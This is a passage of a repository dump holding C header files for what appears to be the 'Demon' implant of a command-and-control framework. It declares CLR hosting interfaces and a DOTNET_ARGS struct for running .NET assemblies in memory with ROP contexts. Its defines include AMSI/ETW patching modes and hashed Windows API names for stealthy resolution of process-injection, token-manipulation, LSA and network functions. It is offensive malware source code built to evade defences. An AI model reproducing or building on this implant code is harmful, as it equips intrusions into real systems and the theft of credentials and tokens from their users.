DUMMY_METHOD(GetProperties);\n    DUMMY_METHOD(GetMember_2);\n    DUMMY_METHOD(GetMembers);\n    DUMMY_METHOD(InvokeMember);\n    DUMMY_METHOD(UnderlyingSystemType);\n    DUMMY_METHOD(InvokeMember_2);\n\n    HRESULT(STDMETHODCALLTYPE* InvokeMember_3)(\n            IType* This,\n            BSTR         name,\n            BindingFlags invokeAttr,\n            IBinder* Binder,\n            VARIANT      Target,\n            SAFEARRAY* args,\n            VARIANT* pRetVal);\n\n    DUMMY_METHOD(GetConstructor);\n    DUMMY_METHOD(GetConstructor_2);\n    DUMMY_METHOD(GetConstructor_3);\n    DUMMY_METHOD(GetConstructors_2);\n    DUMMY_METHOD(TypeInitializer);\n    DUMMY_METHOD(GetMethod_3);\n    DUMMY_METHOD(GetMethod_4);\n    DUMMY_METHOD(GetMethod_5);\n    DUMMY_METHOD(GetMethod_6);\n    DUMMY_METHOD(GetMethods_2);\n    DUMMY_METHOD(GetField_2);\n    DUMMY_METHOD(GetFields_2);\n    DUMMY_METHOD(GetInterface_2);\n    DUMMY_METHOD(GetEvent_2);\n    DUMMY_METHOD(GetProperty_3);\n    DUMMY_METHOD(GetProperty_4);\n    DUMMY_METHOD(GetProperty_5);\n    DUMMY_METHOD(GetProperty_6);\n    DUMMY_METHOD(GetProperty_7);\n    DUMMY_METHOD(GetProperties_2);\n    DUMMY_METHOD(GetNestedTypes_2);\n    DUMMY_METHOD(GetNestedType_2);\n    DUMMY_METHOD(GetMember_3);\n    DUMMY_METHOD(GetMembers_2);\n    DUMMY_METHOD(Attributes);\n    DUMMY_METHOD(IsNotPublic);\n    DUMMY_METHOD(IsPublic);\n    DUMMY_METHOD(IsNestedPublic);\n    DUMMY_METHOD(IsNestedPrivate);\n    DUMMY_METHOD(IsNestedFamily);\n    DUMMY_METHOD(IsNestedAssembly);\n    DUMMY_METHOD(IsNestedFamANDAssem);\n    DUMMY_METHOD(IsNestedFamORAssem);\n    DUMMY_METHOD(IsAutoLayout);\n    DUMMY_METHOD(IsLayoutSequential);\n    DUMMY_METHOD(IsExplicitLayout);\n    DUMMY_METHOD(IsClass);\n    DUMMY_METHOD(IsInterface);\n    DUMMY_METHOD(IsValueType);\n    DUMMY_METHOD(IsAbstract);\n    DUMMY_METHOD(IsSealed);\n    DUMMY_METHOD(IsEnum);\n    DUMMY_METHOD(IsSpecialName);\n    DUMMY_METHOD(IsImport);\n    DUMMY_METHOD(IsSerializable);\n    DUMMY_METHOD(IsAnsiClass);\n    DUMMY_METHOD(IsUnicodeClass);\n    DUMMY_METHOD(IsAutoClass);\n    DUMMY_METHOD(IsArray);\n    DUMMY_METHOD(IsByRef);\n    DUMMY_METHOD(IsPointer);\n    DUMMY_METHOD(IsPrimitive);\n    DUMMY_METHOD(IsCOMObject);\n    DUMMY_METHOD(HasElementType);\n    DUMMY_METHOD(IsContextful);\n    DUMMY_METHOD(IsMarshalByRef);\n    DUMMY_METHOD(Equals_2);\n\n    END_INTERFACE\n} TypeVtbl;\n\ntypedef struct ICLRRuntimeInfoVtbl\n{\n    BEGIN_INTERFACE\n\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n            ICLRRuntimeInfo* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n            ICLRRuntimeInfo* This);\n\n    HRESULT(STDMETHODCALLTYPE* GetVersionString)(\n            ICLRRuntimeInfo* This,\n            /* [size_is][out] */\n            LPWSTR pwzBuffer,\n            /* [out][in] */ DWORD* pcchBuffer);\n\n    HRESULT(STDMETHODCALLTYPE* GetRuntimeDirectory)(\n            ICLRRuntimeInfo* This,\n            /* [size_is][out] */\n            __out_ecount_full(*pcchBuffer)  LPWSTR pwzBuffer,\n            /* [out][in] */ DWORD* pcchBuffer);\n\n    HRESULT(STDMETHODCALLTYPE* IsLoaded)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ HANDLE hndProcess,\n            /* [retval][out] */ BOOL* pbLoaded);\n\n    HRESULT(STDMETHODCALLTYPE* LoadErrorString)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ UINT iResourceID,\n            /* [size_is][out] */\n            __out_ecount_full(*pcchBuffer)  LPWSTR pwzBuffer,\n            /* [out][in] */ DWORD* pcchBuffer,\n            /* [lcid][in] */ LONG iLocaleID);\n\n    HRESULT(STDMETHODCALLTYPE* LoadLibrary)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ LPCWSTR pwzDllName,\n            /* [retval][out] */ HMODULE* phndModule);\n\n    HRESULT(STDMETHODCALLTYPE* GetProcAddress)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ LPCSTR pszProcName,\n            /* [retval][out] */ LPVOID* ppProc);\n\n    HRESULT(STDMETHODCALLTYPE* GetInterface)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ REFCLSID rclsid,\n            /* [in] */ REFIID riid,\n            /* [retval][iid_is][out] */ LPVOID* ppUnk);\n\n    HRESULT(STDMETHODCALLTYPE* IsLoadable)(\n            ICLRRuntimeInfo* This,\n            /* [retval][out] */ BOOL* pbLoadable);\n\n    HRESULT(STDMETHODCALLTYPE* SetDefaultStartupFlags)(\n            ICLRRuntimeInfo* This,\n            /* [in] */ DWORD dwStartupFlags,\n            /* [in] */ LPCWSTR pwzHostConfigFile);\n\n    HRESULT(STDMETHODCALLTYPE* GetDefaultStartupFlags)(\n            ICLRRuntimeInfo* This,\n            /* [out] */ DWORD* pdwStartupFlags,\n            /* [size_is][out] */\n            LPWSTR pwzHostConfigFile,\n            /* [out][in] */ DWORD* pcchHostConfigFile);\n\n    HRESULT(STDMETHODCALLTYPE* BindAsLegacyV2Runtime)(\n            ICLRRuntimeInfo* This);\n\n    HRESULT(STDMETHODCALLTYPE* IsStarted)(\n            ICLRRuntimeInfo* This,\n            /* [out] */ BOOL* pbStarted,\n            /* [out] */ DWORD* pdwStartupFlags);\n\n    END_INTERFACE\n} ICLRRuntimeInfoVtbl;\n\ntypedef struct _ICLRRuntimeInfo {\n    ICLRRuntimeInfoVtbl* lpVtbl;\n} ICLRRuntimeInfo;\n\ntypedef struct _Type {\n    TypeVtbl* lpVtbl;\n} Type;\n\ntypedef struct ICLRMetaHostVtbl\n{\n    BEGIN_INTERFACE\n\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            ICLRMetaHost* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n            ICLRMetaHost* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n            ICLRMetaHost* This);\n\n    HRESULT(STDMETHODCALLTYPE* GetRuntime)(\n            ICLRMetaHost* This,\n            /* [in] */ LPCWSTR pwzVersion,\n            /* [in] */ REFIID riid,\n            /* [retval][iid_is][out] */ LPVOID* ppRuntime);\n\n    HRESULT(STDMETHODCALLTYPE* GetVersionFromFile)(\n            ICLRMetaHost* This,\n            /* [in] */ LPCWSTR pwzFilePath,\n            /* [size_is][out] */\n            __out_ecount_full(*pcchBuffer)  LPWSTR pwzBuffer,\n            /* [out][in] */ DWORD* pcchBuffer);\n\n    HRESULT(STDMETHODCALLTYPE* EnumerateInstalledRuntimes)(\n            ICLRMetaHost* This,\n            /* [retval][out] */ IEnumUnknown** ppEnumerator);\n\n    HRESULT(STDMETHODCALLTYPE* EnumerateLoadedRuntimes)(\n            ICLRMetaHost* This,\n            /* [in] */ HANDLE hndProcess,\n            /* [retval][out] */ IEnumUnknown** ppEnumerator);\n\n    HRESULT(STDMETHODCALLTYPE* RequestRuntimeLoadedNotification)(\n            ICLRMetaHost* This,\n            /* [in] */ RuntimeLoadedCallbackFnPtr pCallbackFunction);\n\n    HRESULT(STDMETHODCALLTYPE* QueryLegacyV2RuntimeBinding)(\n            ICLRMetaHost* This,\n            /* [in] */ REFIID riid,\n            /* [retval][iid_is][out] */ LPVOID* ppUnk);\n\n    HRESULT(STDMETHODCALLTYPE* ExitProcess)(\n            ICLRMetaHost* This,\n            /* [in] */ INT32 iExitCode);\n\n    END_INTERFACE\n} ICLRMetaHostVtbl;\n\ntypedef struct _ICLRMetaHost\n{\n    ICLRMetaHostVtbl* lpVtbl;\n} ICLRMetaHost;\n\n\n#undef DUMMY_METHOD\n#define DUMMY_METHOD(x) HRESULT ( STDMETHODCALLTYPE *dummy_##x )(IMethodInfo *This)\n\ntypedef struct _MethodInfoVtbl {\n    BEGIN_INTERFACE\n\n    HRESULT(STDMETHODCALLTYPE* QueryInterface)(\n            IMethodInfo* This,\n            /* [in] */ REFIID riid,\n            /* [iid_is][out] */\n            __RPC__deref_out  void** ppvObject);\n\n    ULONG(STDMETHODCALLTYPE* AddRef)(\n            IMethodInfo* This);\n\n    ULONG(STDMETHODCALLTYPE* Release)(\n            IMethodInfo* This);\n\n    DUMMY_METHOD(GetTypeInfoCount);\n    DUMMY_METHOD(GetTypeInfo);\n    DUMMY_METHOD(GetIDsOfNames);\n    DUMMY_METHOD(Invoke);\n\n    DUMMY_METHOD(ToString);\n    DUMMY_METHOD(Equals);\n    DUMMY_METHOD(GetHashCode);\n    DUMMY_METHOD(GetType);\n    DUMMY_METHOD(MemberType);\n    DUMMY_METHOD(name);\n    DUMMY_METHOD(DeclaringType);\n    DUMMY_METHOD(ReflectedType);\n    DUMMY_METHOD(GetCustomAttributes);\n    DUMMY_METHOD(GetCustomAttributes_2);\n    DUMMY_METHOD(IsDefined);\n\n    HRESULT(STDMETHODCALLTYPE* GetParameters)(\n            IMethodInfo* This,\n            SAFEARRAY** pRetVal);\n\n    DUMMY_METHOD(GetMethodImplementationFlags);\n    DUMMY_METHOD(MethodHandle);\n    DUMMY_METHOD(Attributes);\n    DUMMY_METHOD(CallingConvention);\n    DUMMY_METHOD(Invoke_2);\n    DUMMY_METHOD(IsPublic);\n    DUMMY_METHOD(IsPrivate);\n    DUMMY_METHOD(IsFamily);\n    DUMMY_METHOD(IsAssembly);\n    DUMMY_METHOD(IsFamilyAndAssembly);\n    DUMMY_METHOD(IsFamilyOrAssembly);\n    DUMMY_METHOD(IsStatic);\n    DUMMY_METHOD(IsFinal);\n    DUMMY_METHOD(IsVirtual);\n    DUMMY_METHOD(IsHideBySig);\n    DUMMY_METHOD(IsAbstract);\n    DUMMY_METHOD(IsSpecialName);\n    DUMMY_METHOD(IsConstructor);\n\n    HRESULT(STDMETHODCALLTYPE* Invoke_3)(\n            IMethodInfo* This,\n            VARIANT     obj,\n            SAFEARRAY* parameters,\n            VARIANT* ret);\n\n    DUMMY_METHOD(returnType);\n    DUMMY_METHOD(ReturnTypeCustomAttributes);\n    DUMMY_METHOD(GetBaseDefinition);\n\n    END_INTERFACE\n} MethodInfoVtbl;\n\ntypedef struct _MethodInfo {\n    MethodInfoVtbl* lpVtbl;\n} MethodInfo, *PMethodInfo;\n\ntypedef struct _DOTNET_ARGS\n{\n    /* The random task id associated with the requested DOTNET exec */\n    UINT32 RequestID;\n\n    /* Buffers */\n    BUFFER PipeName;\n    BUFFER AppDomainName;\n    BUFFER NetVersion;\n    BUFFER Output;\n\n    /* Handles */\n    HANDLE Pipe;\n    HANDLE File;\n    HANDLE StdOut;\n    HANDLE Thread;\n    HANDLE Event;\n    HANDLE Exit;\n\n    /* Argument Array */\n    UNICODE_STRING ArgumentArray;\n\n    /* Some Assembly Variables. */\n    SAFEARRAY* SafeArray;\n    SAFEARRAY* MethodArgs;\n\n    /* Clr variables */\n    PICLRMetaHost    MetaHost;\n    PICLRRuntimeInfo ClrRuntimeInfo;\n    PICorRuntimeHost ICorRuntimeHost;\n    PAssembly        Assembly;\n    PIUnknown        AppDomainThunk;\n    PAppDomain       AppDomain;\n    PMethodInfo      MethodInfo;\n\n    /* Variants */\n    VARIANT vtPsa;\n    VARIANT Return;\n\n    /* Successful invoked ? */\n    BOOL Invoked;\n\n    /* Contexts */\n    PCONTEXT RopInit;\n    PCONTEXT RopInvk;\n    PCONTEXT RopEvnt;\n    PCONTEXT RopExit;\n} DOTNET_ARGS, *PDOTNET_ARGS;\n\n#define DEMOn_CLR_ERROR_REFUSE_VERSION 0x1\n\nDWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost* ppClrMetaHost, PICLRRuntimeInfo* ppClrRuntimeInfo, ICorRuntimeHost** ppICorRuntimeHost );\nBOOL  FindVersion( PVOID Assembly, DWORD length );\n\n#endif\n"
  },
  {
    "path": "payloads/Demon/include/common/Defines.h",
    "content": "#ifndef DEMON_STRINGS_H\n#define DEMON_STRINGS_H\n\n#define PROCESS_ARCH_UNKNOWN\t\t\t\t0\n#define PROCESS_ARCH_X86\t\t\t\t\t1\n#define PROCESS_ARCH_X64\t\t\t\t\t2\n#define PROCESS_ARCH_IA64\t\t\t\t\t3\n\n#ifdef _WIN64\n#define PROCESS_AGENT_ARCH PROCESS_ARCH_X64\n#else\n#define PROCESS_AGENT_ARCH PROCESS_ARCH_X86\n#endif\n\n#define DEMON_MAGIC_VALUE 0xDEADBEEF\n\n#define WIN_VERSION_UNKNOWN 0\n#define WIN_VERSION_XP      1\n#define WIN_VERSION_VISTA   2\n#define WIN_VERSION_2008    3\n#define WIN_VERSION_7       4\n#define WIN_VERSION_2008_R2 5\n#define WIN_VERSION_2008_R2 6\n#define WIN_VERSION_2012    7\n#define WIN_VERSION_8       8\n#define WIN_VERSION_8_1     8.1\n#define WIN_VERSION_2012_R2 9\n#define WIN_VERSION_10      10\n#define WIN_VERSION_2016_X  11\n\n#define LDR_GADGET_MODULE_SIZE ( 0x1000 * 0x1000 )\n#define LDR_GADGET_HEADER_SIZE ( 0x1000 )\n\n#define PROXYLOAD_NONE             0\n#define PROXYLOAD_RTLREGISTERWAIT  1\n#define PROXYLOAD_RTLCREATETIMER   2\n#define PROXYLOAD_RTLQUEUEWORKITEM 3\n\n#define AMSIETW_PATCH_NONE   0\n#define AMSIETW_PATCH_HWBP   1\n#define AMSIETW_PATCH_MEMORY 2\n\n/* Win32 Functions */\n#define H_FUNC_LDRLOADDLL                            0x9e456a43\n#define H_FUNC_LDRGETPROCEDUREADDRESS                0xfce76bb6\n#define H_FUNC_NTADDBOOTENTRY                        0x8cfcc776\n#define H_FUNC_NTALLOCATEVIRTUALMEMORY               0xf783b8ec\n#define H_FUNC_NTFREEVIRTUALMEMORY                   0x2802c609\n#define H_FUNC_NTUNMAPVIEWOFSECTION                  0x6aa412cd\n#define H_FUNC_NTWRITEVIRTUALMEMORY                  0xc3170192\n#define H_FUNC_NTSETINFORMATIONVIRTUALMEMORY         0x946ac239\n#define H_FUNC_NTQUERYVIRTUALMEMORY                  0x10c0e85d\n#define H_FUNC_NTOPENPROCESSTOKEN                    0x350dca99\n#define H_FUNC_NTOPENTHREADTOKEN                     0x803347d2\n#define H_FUNC_NTQUERYOBJECT                         0xc85dc9b4\n#define H_FUNC_NTTRACEEVENT                          0x70c25cd8\n#define H_FUNC_NTOPENPROCESS                         0x4b82f718\n#define H_FUNC_NTTERMINATEPROCESS                    0x4ed9dd4f\n#define H_FUNC_NTOPENTHREAD                          0x968e0cb1\n#define H_FUNC_NTOPENTHREADTOKEN                     0x803347d2\n#define H_FUNC_NTSETCONTEXTTHREAD                    0xffa0bf10\n#define H_FUNC_NTGETCONTEXTTHREAD                    0x6d22f884\n#define H_FUNC_NTCLOSE                               0x40d6e69d\n#define H_FUNC_NTCONTINUE                            0xfc3a6c2c\n#define H_FUNC_NTSETEVENT                            0xcb87d8b5\n#define H_FUNC_NTCREATEEVENT                         0x28d3233d\n#define H_FUNC_NTWAITFORSINGLEOBJECT                 0xe8ac0c3c\n#define H_FUNC_NTSIGNALANDWAITFORSINGLEOBJECT        0x78983aed\n#define H_FUNC_NTGETNEXTTHREAD                       0xa410fb9e\n#define H_FUNC_NTRESUMETHREAD                        0x5a4bc3d0\n#define H_FUNC_NTSUSPENDTHREAD                       0xe43d93e1\n#define H_FUNC_NTDUPLICATEOBJECT                     0x4441d859\n#define H_FUNC_NTQUERYINFORMATIONTHREAD              0xf5a0461b\n#define H_FUNC_NTCREATETHREADEX                      0xaf18cfb0\n#define H_FUNC_NTQUEUEAPCTHREAD                      0xa6664b8\n#define H_FUNC_NTQUERYSYSTEMINFORMATION              0x7bc23928\n#define H_FUNC_NTQUERYINFORMATIONTOKEN               0xf371fe4\n#define H_FUNC_NTQUERYINFORMATIONPROCESS             0x8cdc5dc2\n#define H_FUNC_NTSETINFORMATIONTHREAD                0xc3c03f1\n#define H_FUNC_NTSETINFORMATIONVIRTUALMEMORY         0x946ac239\n#define H_FUNC_NTPROTECTVIRTUALMEMORY                0x50e92888\n#define H_FUNC_NTREADVIRTUALMEMORY                   0xa3288103\n#define H_FUNC_NTFREEVIRTUALMEMORY                   0x2802c609\n#define H_FUNC_NTTERMINATETHREAD                     0xccf58808\n#define H_FUNC_NTWRITEVIRTUALMEMORY                  0xc3170192\n#define H_FUNC_NTDUPLICATETOKEN                      0x8e160b23\n#define H_FUNC_NTALERTRESUMETHREAD                   0x5ba11e28\n#define H_FUNC_NTTESTALERT                           0x858a32df\n#define H_FUNC_RTLALLOCATEHEAP                       0x3be94c5a\n#define H_FUNC_RTLREALLOCATEHEAP                     0xaf740371\n#define H_FUNC_RTLFREEHEAP                           0x73a9e4d7\n#define H_FUNC_RTLEXITUSERPROCESS                    0x57c72f\n#define H_FUNC_RTLRANDOMEX                           0x7f1224f5\n#define H_FUNC_RTLRANDOMEX                           0x7f1224f5\n#define H_FUNC_RTLNTSTATUSTODOSERROR                 0x39d7c890\n#define H_FUNC_RTLGETVERSION                         0xdde5cdd\n#define H_FUNC_RTLADDVECTOREDEXCEPTIONHANDLER        0x2df06c89\n#define H_FUNC_RTLREMOVEVECTOREDEXCEPTIONHANDLER     0xad1b018e\n#define H_FUNC_RTLCREATETIMERQUEUE                   0x50ef3c31\n#define H_FUNC_RTLDELETETIMERQUEUE                   0xeec188b0\n#define H_FUNC_RTLCREATETIMER                        0x1877faec\n#define H_FUNC_RTLQUEUEWORKITEM                      0xae92028e\n#define H_FUNC_RTLREGISTERWAIT                       0x600fe691\n#define H_FUNC_RTLCAPTURECONTEXT                     0xeba8d910\n#define H_FUNC_RTLCOPYMAPPEDMEMORY                   0x5b56b302\n#define H_FUNC_RTLFILLMEMORY                         0x89ab5f57\n#define H_FUNC_RTLEXITUSERTHREAD                     0x2f6db5e8\n#define H_FUNC_RTLSUBAUTHORITYSID                    0x90ed208a\n#define H_FUNC_RTLSUBAUTHORITYCOUNTSID               0x4b23c9d3\n\n#define H_FUNC_LOADLIBRARYW                          0xb7072ff1\n#define H_FUNC_GETCOMPUTERNAMEEXA                    0xec725c53\n#define H_FUNC_WAITFORSINGLEOBJECTEX                 0x512e1b97\n#define H_FUNC_VIRTUALPROTECT                        0xe857500d\n#define H_FUNC_GETMODULEHANDLEA                      0xd908e1d8\n#define H_FUNC_GETPROCADDRESS                        0xdecfc1bf\n#define H_FUNC_GETCURRENTDIRECTORYW                  0x3d54a9f4\n#define H_FUNC_FINDFIRSTFILEW                        0xf67b31a5\n#define H_FUNC_FINDNEXTFILEW                         0x3626633c\n#define H_FUNC_FINDCLOSE                             0x42ade43c\n#define H_FUNC_FILETIMETOSYSTEMTIME                  0x7a047cab\n#define H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME       0x77b0aa6a\n#define H_FUNC_OUTPUTDEBUGSTRINGA                    0x490fc1d5\n#define H_FUNC_DEBUGBREAK                            0xd08caa91\n#define H_FUNC_SYSTEMFUNCTION032                     0xe58c8805\n#define H_FUNC_LOOKUPACCOUNTSIDW                     0xd51fdfa3\n#define H_FUNC_LOGONUSEREXW                          0x6ba383b7\n#define H_FUNC_VSNPRINTF                             0xe212f2ef\n#define H_FUNC_GETADAPTERSINFO                       0x37cada45\n#define H_FUNC_WINHTTPOPEN                           0x613eace5\n#define H_FUNC_WINHTTPCONNECT                        0x81e0c81d\n#define H_FUNC_WINHTTPOPENREQUEST                    0xb06d900e\n#define H_FUNC_WINHTTPSETOPTION                      0x5b6ad378\n#define H_FUNC_WINHTTPSENDREQUEST                    0x7739d0e6\n#define H_FUNC_WINHTTPRECEIVERESPONSE                0xae351ae5\n#define H_FUNC_WINHTTPADDREQUESTHEADERS              0xa2c0b0e1\n#define H_FUNC_WINHTTPREADDATA                       0x75064b89\n#define H_FUNC_WINHTTPQUERYHEADERS                   0xcc1a89c5\n#define H_FUNC_WINHTTPCLOSEHANDLE                    0xa7355f15\n#define H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER 0x28197a2\n#define H_FUNC_WINHTTPGETPROXYFORURL                 0xa2cf3c6f\n#define H_FUNC_VIRTUALPROTECTEX                      0x5b6b908a\n#define H_FUNC_LOCALALLOC                            0x72073b5b\n#define H_FUNC_LOCALREALLOC                          0x1c44e892\n#define H_FUNC_LOCALFREE                             0x32030e92\n#define H_FUNC_CREATEREMOTETHREAD                    0x252b157d\n#define H_FUNC_CREATETOOLHELP32SNAPSHOT              0xf37ac035\n#define H_FUNC_PROCESS32FIRSTW                       0xb06fa1a8\n#define H_FUNC_PROCESS32NEXTW                        0x43f6e75f\n#define H_FUNC_CREATEPIPE                            0x9694e9e7\n#define H_FUNC_CREATEPROCESSW                        0xfbaf90cf\n#define H_FUNC_CREATEFILEW                           0x687d2110\n#define H_FUNC_GETFULLPATHNAMEW                      0xa6a2249d\n#define H_FUNC_GETFILESIZE                           0x7b813820\n#define H_FUNC_GETFILESIZEEX                         0x60afc95d\n#define H_FUNC_CREATENAMEDPIPEW                      0xa05e2a83\n#define H_FUNC_CONVERTFIBERTOTHREAD                  0x11b30049\n#define H_FUNC_CREATEFIBEREX                         0x7b94a3fe\n#define H_FUNC_READFILE                              0x84d15061\n#define H_FUNC_VIRTUALALLOCEX                        0x5775bd54\n#define H_FUNC_WAITFORSINGLEOBJECTEX                 0x512e1b97\n#define H_FUNC_GETCOMPUTERNAMEEXA                    0xec725c53\n#define H_FUNC_EXITPROCESS                           0xd154167e\n#define H_FUNC_GETEXITCODEPROCESS                    0xa7c5fd39\n#define H_FUNC_GETEXITCODETHREAD                     0x538852b2\n#define H_FUNC_CONVERTTHREADTOFIBEREX                0xd139cc66\n#define H_FUNC_SWITCHTOFIBER                         0x14fc3cc2\n#define H_FUNC_DELETEFIBER                           0x99beb7a0\n#define H_FUNC_ALLOCCONSOLE                          0x3c2fba83\n#define H_FUNC_FREECONSOLE                           0xa4e66f3a\n#define H_FUNC_GETCONSOLEWINDOW                      0xc2c4270\n#define H_FUNC_GETSTDHANDLE                          0x9ab85b1c\n#define H_FUNC_SETSTDHANDLE                          0xe620bba8\n#define H_FUNC_WAITNAMEDPIPEW                        0x50ac3c84\n#define H_FUNC_PEEKNAMEDPIPE                         0xd5312e5d\n#define H_FUNC_DISCONNECTNAMEDPIPE                   0x342bd542\n#define H_FUNC_WRITEFILE                             0xf1d207d0\n#define H_FUNC_CONNECTNAMEDPIPE                      0x436e4c62\n#define H_FUNC_FREELIBRARY                           0x4ad9b11c\n#define H_FUNC_GETCURRENTDIRECTORYW                  0x3d54a9f4\n#define H_FUNC_GETFILEATTRIBUTESW                    0xf30aab23\n#define H_FUNC_FINDFIRSTFILEW                        0xf67b31a5\n#define H_FUNC_FINDNEXTFILEW                         0x3626633c\n#define H_FUNC_FINDCLOSE                             0x42ade43c\n#define H_FUNC_FILETIMETOSYSTEMTIME                  0x7a047cab\n#define H_FUNC_SYSTEMTIMETOTZSPECIFICLOCALTIME       0x77b0aa6a\n#define H_FUNC_REMOVEDIRECTORYW                      0xb6af709f\n#define H_FUNC_DELETEFILEW                           0x99bee22f\n#define H_FUNC_CREATEDIRECTORYW                      0xb717be65\n#define H_FUNC_COPYFILEW                             0x39e8f317\n#define H_FUNC_MOVEFILEEXW                           0xd356ecf0\n#define H_FUNC_SETCURRENTDIRECTORYW                  0xcf2ad680\n#define H_FUNC_WOW64DISABLEWOW64FSREDIRECTION        0x40750b38\n#define H_FUNC_WOW64REVERTWOW64FSREDIRECTION         0xc993b9c\n#define H_FUNC_GETMODULEHANDLEA                      0xd908e1d8\n#define H_FUNC_GETSYSTEMTIMEASFILETIME               0x7a14b61c\n#define H_FUNC_GETLOCALTIME                          0x71842fbf\n#define H_FUNC_DUPLICATEHANDLE                       0x95f45a6c\n#define H_FUNC_ATTACHCONSOLE                         0x3f9eed0d\n#define H_FUNC_WRITECONSOLEA                         0x271da464\n#define H_FUNC_TERMINATEPROCESS                      0xf3c179ad\n#define H_FUNC_VIRTUALPROTECT                        0xe857500d\n#define H_FUNC_GETTOKENINFORMATION                   0x10357d2c\n#define H_FUNC_CREATEPROCESSWITHTOKENW               0xf3e5480c\n#define H_FUNC_CREATEPROCESSWITHLOGONW               0xe139fc0a\n#define H_FUNC_REVERTTOSELF                          0x7292758a\n#define H_FUNC_GETUSERNAMEA                          0xfca17e46\n#define H_FUNC_LOGONUSERW                            0x5ed5d61a\n#define H_FUNC_LOOKUPACCOUNTSIDA                     0xd51fdf8d\n#define H_FUNC_LOOKUPACCOUNTSIDW                     0xd51fdfa3\n#define H_FUNC_OPENTHREADTOKEN                       0xe249d070\n#define H_FUNC_OPENPROCESSTOKEN                      0xd9f566f7\n#define H_FUNC_ADJUSTTOKENPRIVILEGES                 0x677fbb8b\n#define H_FUNC_LOOKUPPRIVILEGENAMEA                  0x843a85e8\n#define H_FUNC_SYSTEMFUNCTION032                     0xe58c8805\n#define H_FUNC_FREESID                               0xd47b1967\n#define H_FUNC_SETSECURITYDESCRIPTORSACL             0x5c0cc90b\n#define H_FUNC_SETSECURITYDESCRIPTORDACL             0x5c048f5c\n#define H_FUNC_INITIALIZESECURITYDESCRIPTOR          0x31e175ce\n#define H_FUNC_ADDMANDATORYACE                       0x9fb18806\n#define H_FUNC_INITIALIZEACL                         0x136c4367\n#define H_FUNC_ALLOCATEANDINITIALIZESID              0xa9174a4f\n#define H_FUNC_CHECKTOKENMEMBERSHIP                  0x1cf324d0\n#define H_FUNC_SETENTRIESINACLW                      0xd396389\n#define H_FUNC_SETTHREADTOKEN                        0xc9f4966a\n#define H_FUNC_LSANTSTATUSTOWINERROR                 0x9d5beb66\n#define H_FUNC_EQUALSID                              0x4fa8b17d\n#define H_FUNC_CONVERTSIDTOSTRINGSIDW                0x2fb2f7d7\n#define H_FUNC_GETSIDSUBAUTHORITYCOUNT               0xd4c0dda1\n#define H_FUNC_GETSIDSUBAUTHORITY                    0xe5d12f8\n#define H_FUNC_LOOKUPPRIVILEGEVALUEA                 0x1e344064\n#define H_FUNC_SAFEARRAYACCESSDATA                   0xf6a0d34f\n#define H_FUNC_SAFEARRAYUNACCESSDATA                 0xe981b312\n#define H_FUNC_SAFEARRAYCREATE                       0x53ec8017\n#define H_FUNC_SAFEARRAYPUTELEMENT                   0x311f586\n#define H_FUNC_SAFEARRAYCREATEVECTOR                 0x6b6a636a\n#define H_FUNC_SAFEARRAYDESTROY                      0x12b6aed\n#define H_FUNC_SYSALLOCSTRING                        0x3351eb46\n#define H_FUNC_COMMANDLINETOARGVW                    0xec6ba0d6\n#define H_FUNC_SHOWWINDOW                            0x29bbc91e\n#define H_FUNC_GETSYSTEMMETRICS                      0x287c6401\n#define H_FUNC_GETDC                                 0xd2b106c\n#define H_FUNC_RELEASEDC                             0x6fbc050d\n#define H_FUNC_GETCURRENTOBJECT                      0xfe6f663f\n#define H_FUNC_GETOBJECTW                            0xa04fbb33\n#define H_FUNC_CREATECOMPATIBLEDC                    0xd0b24920\n#define H_FUNC_CREATEDIBSECTION                      0x2c2309dd\n#define H_FUNC_SELECTOBJECT                          0x96a6b43c\n#define H_FUNC_BITBLT                                0xa72badc6\n#define H_FUNC_DELETEOBJECT                          0xe619cf2f\n#define H_FUNC_DELETEDC                              0xb2fa1ebf\n#define H_FUNC_SETPROCESSVALIDCALLTARGETS            0x647d9236\n#define H_FUNC_CLRCREATEINSTANCE                     0x2303b88f\n#define H_FUNC_GETADAPTERSINFO                       0x37cada45\n#define H_FUNC_NETLOCALGROUPENUM                     0x910ca519\n#define H_FUNC_NETGROUPENUM                          0x11254b4e\n#define H_FUNC_NETUSERENUM                           0xeb3b8f20\n#define H_FUNC_NETWKSTAUSERENUM                      0x6bec8d0a\n#define H_FUNC_NETSESSIONENUM                        0xf155c7e5\n#define H_FUNC_NETSHAREENUM                          0xef26c94\n#define H_FUNC_NETAPIBUFFERFREE                      0x694e2662\n#define H_FUNC_WSASTARTUP                            0x142e89c3\n#define H_FUNC_WSACLEANUP                            0x32206eb8\n#define H_FUNC_WSASOCKETA                            0x8a4d8fa\n#define H_FUNC_WSAGETLASTERROR                       0x9c1d912e\n#define H_FUNC_IOCTLSOCKET                           0xd5e978a9\n#define H_FUNC_BIND                                  0x7c828162\n#define H_FUNC_LISTEN                                0xbe7f0354\n#define H_FUNC_ACCEPT                                0xa460acf5\n#define H_FUNC_CLOSESOCKET                           0x185953a4\n#define H_FUNC_RECV                                  0x7c8b3515\n#define H_FUNC_SEND                                  0x7c8bc2cf\n#define H_FUNC_CONNECT                               0xe73478ef\n#define H_FUNC_GETADDRINFO                           0x4b91706c\n#define H_FUNC_FREEADDRINFO                          0x307204e\n#define H_FUNC_LSAREGISTERLOGONPROCESS               0xd8f30a28\n#define H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE        0x876cc00b\n#define H_FUNC_LSADEREGISTERLOGONPROCESS             0x8aba5ef1\n#define H_FUNC_LSACONNECTUNTRUSTED                   0x1da98b7d\n#define H_FUNC_LSAFREERETURNBUFFER                   0x916b1321\n#define 